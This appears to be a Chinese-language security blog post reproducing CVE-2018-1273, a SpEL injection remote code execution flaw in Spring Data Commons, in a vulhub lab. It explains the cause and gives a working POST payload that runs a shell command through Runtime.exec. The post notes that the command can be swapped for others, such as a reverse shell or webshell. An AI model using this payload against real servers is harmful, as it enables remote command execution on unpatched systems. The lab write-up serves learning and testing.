Spring Data Commons 远程命令执行 CVE-2018-1273
影响范围
- Spring Data Commons 1.13 - 1.13.10
- Spring Data Commons 2.0 - 2.0.5
- Spring Boot 1.5.0 - 1.5.11
- Spring Boot 2.0.0 - 2.0.1
漏洞类型
SpEL 表达式注入
操作系统限制
无
配置要求
默认配置
漏洞利用
命令执行,进行反弹 shell,写入木马
利用原理
Spring MVC 中,当用户通过 POST 表单提交数据,Spring Data 会尝试将请求参数绑定到后端 Java 对象或 Map 中,Spring Data 允许参数名通过方括号语法定位集合或 Map 中的元素(例如 tags [0] 或 users [‘admin’]),当 Spring Data 处理方括号 2 的参数名时候,会调用 MapDataBinder 进行解析,而系统直接调用 SpEL 引擎来解析方括号内容且不做过滤,攻击者可以通过参数名的方括号注入恶意 SpEL 代码实现命令执行
漏洞复现
用现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

使用 dirsearch 进行目录扫描
1 | dirsearch -u http://公网:8080 |

访问 http://公网: 8080/users

注册账号同时抓包

发送到 Repeater 模块

将输入请求主题内容替换为下面 payload,其中 touch /tmp/success 可以替换成其他敏感命令
1 | username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword= |

发送后返回 500

进入容器查看 /tmp 目录下的文件,发现 success,表示命令执行成功

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论